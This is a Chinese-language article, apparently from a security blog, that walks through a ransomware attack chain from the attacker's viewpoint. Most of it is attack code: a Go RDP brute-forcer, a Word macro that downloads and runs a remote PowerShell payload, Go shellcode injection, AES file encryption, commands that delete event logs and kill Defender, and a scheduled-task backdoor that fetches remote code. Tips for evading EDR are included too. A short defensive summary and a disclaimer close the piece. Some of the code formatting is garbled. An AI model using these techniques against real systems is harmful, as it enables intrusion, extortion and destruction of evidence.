一、从勒索软件的防御盲区谈起

近年来,勒索软件攻击正逐渐成为组织和企业最头疼的安全挑战之一。防守端常见的误区在于:过度依赖杀毒软件和EDR,忽视了攻击链整体的关键环节。攻击者从最初的入侵到最终的勒索,每一步都充满了对防御机制的对抗与绕过。如果我是一名攻击者,我会如何彻底攻破目标?本文将从攻击者视角,深挖勒索软件的执行逻辑和技术细节,完整复现从初始访问到数据加密的全过程。

二、0x01 攻击链的第一步:突破外围防线

勒索软件的攻击链通常从外部访问开始,典型的入口包括:

  • 弱口令远程桌面协议(RDP)
  • 网络暴露的Web服务漏洞(如未修补的Log4j漏洞)
  • 针对受害者员工的钓鱼邮件(恶意文档、链接)

建立初始访问的环境模拟

为了复现攻击链,我们搭建了如下环境:

  1. 攻击机:Kali Linux,带有Cobalt Strike和Go环境。
  2. 目标机:Windows Server 2016,开放3389端口,安装了一个带有SQL注入漏洞的老旧Web应用。
  3. 网络:使用即插即用虚拟机网络,其中攻击机控制目标机的流量。

在实际攻击中,RDP暴力破解常常是首选。以下是一个基于Go语言的简单RDP爆破脚本,利用字典尝试登录目标主机:

<pre><code class="language-go">package main

黑客示意图

import ( &quot;fmt&quot; &quot;net&quot; &quot;time&quot; )

func main() { target := &quot;192.168.1.100:3389&quot; // 目标RDP服务地址 usernames := []string{&quot;administrator&quot;, &quot;admin&quot;, &quot;user&quot;} // 用户名字典 passwords := []string{&quot;123456&quot;, &quot;password&quot;, &quot;admin123&quot;} // 密码字典

for _, username := range usernames { for _, password := range passwords { fmt.Printf(&quot;[] Trying %s:%s\n&quot;, username, password) conn, err := net.DialTimeout(&quot;tcp&quot;, target, 5time.Second) if err != nil { fmt.Println(&quot;[-] Failed to connect:&quot;, err) continue } // 模拟简化的RDP握手逻辑,这里实际应使用更复杂的协议交互 fmt.Fprintf(conn, &quot;%s\n%s\n&quot;, username, password) conn.Close() } } fmt.Println(&quot;Done.&quot;) }</code></pre>

使用说明:脚本会逐个尝试用户名和密码组合,快速验证目标是否存在弱口令。如果成功,下一步可以直接接管主机。

攻击思路:如何利用钓鱼邮件

如果RDP漏洞行不通,一个成熟的攻击者通常会选择社工钓鱼。比如伪造一个「工资调整通知」邮件,附带恶意宏文档。以下是一个简单的恶意宏代码:

<pre><code class="language-vbscript">Sub AutoOpen() Dim objShell Set objShell = CreateObject(&quot;WScript.Shell&quot;) objShell.Run &quot;powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://192.168.1.200/payload.ps1&#039;)&quot; End Sub</code></pre>

这段代码会在用户打开文档时,自动调用远程托管的PowerShell脚本,下载并执行后续的Payload。

经验反思

初始访问环节的核心在于:快速找到目标暴露的攻击面。无论是暴力破解还是钓鱼邮件,绕过传统防守策略的关键在于混淆和伪装,同时尽量降低被安全设备捕获的概率。

---

三、Payload加载的艺术:隐蔽与免杀

勒索软件并不是简单粗暴的恶意程序。它需要在目标系统中执行一系列复杂操作,包括权限提升、横向移动、数据加密等。而这一切的前提是:Payload必须成功加载且不被检测到。

技术拆解:如何加载恶意Payload

传统的勒索软件可能直接写一个可执行文件到磁盘,并运行。但现代EDR能非常轻松地检测出这种行为。所以更好的方案是:将Payload加载到内存中,无需落地

以下是一段用Go实现的内存加载代码,它会将恶意shellcode直接注入目标进程:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;syscall&quot; &quot;unsafe&quot; )

const ( PAGE_EXECUTE_READWRITE = 0x40 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 )

func main() { // 恶意shellcode (MessageBox示例) shellcode := []byte{ 0x90, 0x90, 0x90, // 这里替换为实际恶意shellcode }

// 调用VirtualAlloc分配内存 kernel32 := syscall.NewLazyDLL(&quot;kernel32.dll&quot;) virtualAlloc := kernel32.NewProc(&quot;VirtualAlloc&quot;) address, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

// 拷贝shellcode到分配的内存 fmt.Printf(&quot;[] Allocated memory at: 0x%x\n&quot;, address) for i, b := range shellcode { ptr := unsafe.Pointer(address + uintptr(i)) (*byte)(ptr) = b }

// 执行shellcode syscall.Syscall(address, 0, 0, 0, 0) }</code></pre>

技术难点:如何绕过EDR

  1. 混淆Shellcode:使用AES加密shellcode,在解密后再执行。
  2. API Hook对抗:使用Syscall直接调用系统API,绕过EDR的Hook点。
  3. 流量伪装:利用HTTP协议伪装下载流量,比如把payload伪装成图片文件。

---

四、数据加密的实战演练

勒索软件的核心目标是对受害者的数据进行加密,并索取赎金。现代勒索软件通常采用高强度的加密算法,如AES-256和RSA。

核心代码:数据加密实现

以下是一个基于Go的简化文件加密脚本:

<pre><code class="language-go">package main

import ( &quot;crypto/aes&quot; &quot;crypto/cipher&quot; &quot;fmt&quot; &quot;io/ioutil&quot; &quot;os&quot; )

func main() { key := []byte(&quot;1234567890123456&quot;) // AES密钥,16字节 filePath := &quot;target.txt&quot; // 目标文件

// 读取文件内容 plaintext, err := ioutil.ReadFile(filePath) if err != nil { fmt.Println(&quot;[-] Error reading file:&quot;, err) return }

// 创建AES加密块 block, err := aes.NewCipher(key) if err != nil { fmt.Println(&quot;[-] Error creating cipher:&quot;, err) return }

// 加密内容 ciphertext := make([]byte, len(plaintext)) stream := cipher.NewCFBEncrypter(block, key[:block.BlockSize()]) stream.XORKeyStream(ciphertext, plaintext)

// 保存加密后的文件 err = ioutil.WriteFile(filePath+&quot;.enc&quot;, ciphertext, 0644) if err != nil { fmt.Println(&quot;[-] Error writing encrypted file:&quot;, err) return }

fmt.Println(&quot;[+] File encrypted successfully!&quot;) }</code></pre>

经验分享:如何避免被检测

攻击者在执行加密操作时,通常会:

  1. 只加密特定类型的文件:如文档、图片等。
  2. 生成唯一的解密私钥:存储在攻击者的C2服务器上。
  3. 删除加密原文件:使用安全删除工具防止被恢复。

---

五、痕迹清理与后门植入

勒索软件的最后一步是清理自己的行为痕迹,同时为未来的攻击种下后门。

常见的清理方法

黑客示意图

  1. 删除日志文件:
  2. <pre><code class="language-shell"> del C:\Windows\System32\winevt\Logs\*.evtx /f /q `

  1. 清空回收站:
  2. `shell rd /s /q C:\$Recycle.Bin `

  1. 关闭杀软:
  2. `shell taskkill /IM &quot;MsMpEng.exe&quot; /F `

后门的植入方式

攻击者往往会植入一个隐蔽的后门,用于未来再次进入目标网络。比如利用Windows任务计划创建定时任务:</code></pre>shell schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.200/backdoor.ps1')" /sc daily /st 03:00 `

---

黑客示意图

六、总结:防御视角下的反思

勒索软件的成功不仅依赖于技术,更依赖于防守方的疏忽。通过本文,我们可以清楚看到完整的攻击链是如何一步步绕过防御的。从RDP暴力破解到Payload加载,从数据加密到痕迹清理,攻击者的每一步都是精心设计的。防御方需要做的,是从攻击者的思维出发,堵住每一个可能的环节。

合法声明:本文的所有技术及代码仅限于授权安全测试,严禁用于非法用途。

黑客示意图